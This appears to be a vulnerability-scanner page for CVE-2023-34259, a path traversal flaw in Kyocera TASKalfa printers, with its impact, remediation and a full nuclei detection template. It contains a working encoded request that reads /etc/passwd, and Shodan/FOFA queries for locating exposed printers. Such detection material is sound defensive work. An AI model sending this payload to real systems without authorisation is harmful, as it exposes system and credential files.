Kyocera TASKalfa printer - Path Traversal

mediumseverity

4.9CVSS score

60.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings.

Impact

Unauthenticated attackers can manipulate file path values to access sensitive file system resources including source code and critical system configuration files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm
Positive when: matches /root:.*:0:0/ AND contains in server "KM-MFP" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34259 -u <target>

The full check

id: CVE-2023-34259

info:
  name: Kyocera TASKalfa printer - Path Traversal
  author: gy741
  severity: medium
  description: |
    CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings.
  impact: |
    Unauthenticated attackers can manipulate file path values to access sensitive file system resources including source code and critical system configuration files.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/path-traversal-bypass-denial-of-service-in-kyocera-printer/
    - https://www.kyoceradocumentsolutions.com/en/our-business/security/information/2023-07-14.html
    - https://packetstormsecurity.com/files/173397/Kyocera-TASKalfa-4053ci-2VG_S000.002.561-Path-Traversal-Denial-Of-Service.html
    - https://sec-consult.com/vulnerability-lab/
    - https://seclists.org/fulldisclosure/2023/Jul/15
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2023-34259
    cwe-id: CWE-22
    epss-score: 0.60482
    epss-percentile: 0.99152
    cpe: cpe:2.3:o:kyocera:d-copia253mf_plus_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kyocera
    product: d-copia253mf_plus_firmware
    shodan-query: http.favicon.hash:-50306417
    fofa-query: icon_hash=-50306417
  tags: cve,cve2023,packetstorm,seclists,kyocera,lfi,printer,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: server
        words:
          - "KM-MFP"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from